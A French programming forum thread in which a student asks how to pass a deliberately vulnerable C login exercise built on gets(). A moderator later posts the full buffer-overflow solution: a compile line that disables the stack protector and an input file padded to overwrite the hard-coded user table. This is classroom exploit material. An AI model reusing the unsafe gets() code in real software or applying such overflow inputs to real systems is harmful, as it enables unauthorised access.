Hacking facile [Résolu]

IBx 4 Messages postés samedi 5 décembre 2015Date d'inscription 11 décembre 2015 Dernière intervention - 5 déc. 2015 à 14:33 - Dernière réponse : cptpingu 3768 Messages postés dimanche 12 décembre 2004Date d'inscriptionModérateurStatut 13 décembre 2017 Dernière intervention
- 27 déc. 2015 à 16:44
je dois réussir à faire afficher "Bienvenu sur ce systeme..." sans entrer un des nom et mots de passe du tableau users.
Quelqu'un aurait il une idée sur la chaine de caractères à rentrer pour faire un buffer overflow et choisir notre propre nom et mot de passe ?

Code du hack:

#include <stdio.h>

char user_name[20] = "                   ";
char password[20] = "                   ";
char users[][2][20] = 
{ { "root", "98765" },
  { "moi", "allo" },
  { "abc", "motdepasse" },
  { "", "" }
};

int check_name()
{
  int i;
  printf("Nom: "); gets(user_name);
  printf("Mot de passe: "); gets(password);
  
  for(i=0; users[i][0][0] != 0; i++)
  {
    if(strcmp(user_name, users[i][0]) == 0 &&
       strcmp(password,  users[i][1]) == 0)
       return 1;
  }
  return 0;
}

void logon()
{
  printf("Bienvenu sur ce systeme...\n");
  exit(1);
}

void reject()
{
  printf("Connection fermee!\n"); 
  exit(0);
}

main()
{
  unsigned int i;
  for(i=(unsigned)-3; i && !check_name(); i++);
  if(i>=(unsigned)-3)
    logon();
  else
    reject();
}


Résultat attendu:


C:\SSE\hack1>hack1 < monhack1.TXT
Nom: Mot de passe: Bienvenu sur ce systeme...

C:\SSE\hack1>


donc il me faut trouver le bon paramètre à renseigner dans le fichier. Je ne dois pas utiliser les paramètres du tableau suivants :

{ "root", "98765" },
  { "moi", "allo" },
  { "abc", "motdepasse" },
  { "", "" }
Afficher la suite 

10 réponses

Répondre au sujet
nagaD.scar 4148 Messages postés samedi 8 septembre 2007Date d'inscription 13 décembre 2017 Dernière intervention - 8 déc. 2015 à 13:46
0
Utile
salut,

Je vois pas l'interet de mot "hack" mais bref.

Il faut surtout que tu commence a lire un fichier renseigné directement dans le code et ensuite que tu edit pour passer le nom du fichier en paramètre (int main(int argc, char *argv[]) ).

Mais bon, en l’occurrence je vois pas du tout l'interêt de ton programme ...

naga


PS: le "<" dans ton appel est inutile, et peu même declencher une erreur ..
Commenter la réponse de nagaD.scar
cptpingu 3768 Messages postés dimanche 12 décembre 2004Date d'inscriptionModérateurStatut 13 décembre 2017 Dernière intervention - 8 déc. 2015 à 15:36
0
Utile
@nagashima: Il n'y a pas d'erreur dans son énoncé. On lui demande l'écriture d'un shellcode (donc bien un "hack"). Le code donné utilise volontairement des routines non sécurisées, et il est alors aisé de faire un buffer overflow et afficher "Bienvenue sur ce système" sans même connaître le user/pass. Le "<" n'est pas une erreur non plus, car ce n'est pas une lecture de fichier, mais bien une chaîne à envoyer lors d'une "question" en interactif.

Le seul souci c'est qu'il veut qu'on lui fasse son exo (qu'on lui donne la chaîne de caractères finale, cad le "shellcode" qui permet d'overflow). Or, personne ne va lui faire, et s'il nous lit, je l'invite à relire le règlement de ce site :).
Commenter la réponse de cptpingu
nagaD.scar 4148 Messages postés samedi 8 septembre 2007Date d'inscription 13 décembre 2017 Dernière intervention - 8 déc. 2015 à 17:54
0
Utile
ok je comprends mieux, je pensais qu'il voulait passer son fichier en paramètre et non son contenu ^^ (décidément j'ai pas tilté le post au départ x])
Commenter la réponse de nagaD.scar
IBx 4 Messages postés samedi 5 décembre 2015Date d'inscription 11 décembre 2015 Dernière intervention - 10 déc. 2015 à 21:41
0
Utile
cptpingu, je n'ai pas demandé de me résoudre l'exercice, mais de m'aider à comprendre le fonctionnement du programme ou me donner une piste, et je pensais que les forums étaient faits pour ça. Sinon je l'ai résolu.

IBx
Commenter la réponse de IBx
Whismeril 10575 Messages postés mardi 11 mars 2003Date d'inscriptionContributeurStatut 16 décembre 2017 Dernière intervention - 10 déc. 2015 à 22:27
Commenter la réponse de Whismeril
IBx 4 Messages postés samedi 5 décembre 2015Date d'inscription 11 décembre 2015 Dernière intervention - 10 déc. 2015 à 23:22
0
Utile
Merci pour l'info.
Commenter la réponse de IBx
cptpingu 3768 Messages postés dimanche 12 décembre 2004Date d'inscriptionModérateurStatut 13 décembre 2017 Dernière intervention - 11 déc. 2015 à 10:43
0
Utile
@IBx: La formulation de ta phrase laissait pourtant fortement à penser que tu désirais uniquement la solution. À relire attentivement: http://www.gnurou.org/writing/smartquestionsfr
Commenter la réponse de cptpingu
IBx 4 Messages postés samedi 5 décembre 2015Date d'inscription 11 décembre 2015 Dernière intervention - Modifié par IBx le 11/12/2015 à 11:13
0
Utile
@cptpingu: je ferai attention la prochaine fois à mieux formuler ma question. Mais merci pour ton explication, ça m'a permis de résoudre le problème. J'avais juste besoin de ça (piste). Encore merci.
Commenter la réponse de IBx
nagaD.scar 4148 Messages postés samedi 8 septembre 2007Date d'inscription 13 décembre 2017 Dernière intervention - 11 déc. 2015 à 14:37
0
Utile
Salut,

Du coup pourras-tu indiquer ta solution (ou dans ton cas expliquer ce qui t'as permis de résoudre ton problème) et passer le statut en résolu ?

Ca permettra a d'autres personnes de pouvoir comprendre sans poster de nouveau un message =)

naga
Commenter la réponse de nagaD.scar
cptpingu 3768 Messages postés dimanche 12 décembre 2004Date d'inscriptionModérateurStatut 13 décembre 2017 Dernière intervention - Modifié par cptpingu le 28/12/2015 à 01:14
0
Utile
Il est clair que l'auteur du post ne donnera jamais de réponse. J'ai attendu un petit peu avant de poster la solution, pour des raisons évidentes :).

Voici comment procéder:

Il est aisé de produire un buffer overflow et d'écraser le tableau "users", afin d'y écrire un nom + pass sans y avoir accès. Comme le buffer est limité à 20 char pour "password" (avec l'alignement on passe à 32). Alors on "bourre" 32 caractères inutiles. Le 33ème caractères lu par "gets(password)" va alors commencer à écrire dans "users", par dessus la première entrée (donc on peut remplacer "root" par autre chose).
On fait pareil pour le "pass". Une fois "user" et "pass" écrasés et remplacés par ce que l'on veut, il ne reste qu'à le préciser pour "entrer".

Voici la commande finale:
gcc -W -Wall -ansi -pedantic titi.c -fno-stack-protector && ./a.out < toto.txt
Nom: Mot de passe: Nom: Mot de passe: Nom: Mot de passe: Bienvenu sur ce systeme...


Avec toto.txt
osef
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxpass
plop
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhack
hack
pass



Explication toto.txt:
osef <= On précise un nom bidon, j'aurais pu mettre n'importe quoi <= 20 char
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxpass <= On bourre de 52 char pour écraser user[0][1] (32 char pour atteindre user + 20 char pour atteindre pass).
plop <= On précise un nom bidon, j'aurais pu mettre n'importe quoi <= 20 char
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhack <= Cette fois on écrase le "user", en bourrant de 20 char suivi de ce que l'on veut.
hack <= Cette fois on donne notre user que l'on a trafiqué
pass <= puis le pass que l'on a trafiqué
<= Ça "matchera" forcément et on entrera sans y avoir été invité, c'est bien hack par buffer overfow :)



Sous gcc, il y a une protection qui empêche ce genre de "hack", il faut donc préciser que l'on ne veut pas protéger le programme via l'option "-fno-stack-protector", sinon le hack ne fonctionnera pas.


Améliorer votre expérience CodeS-SourceS avec ce plugin:
http://codes-sources.commentcamarche.net/forum/affich-10000111-plugin-better-cs-2#cptpingu-signature
Commenter la réponse de cptpingu

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.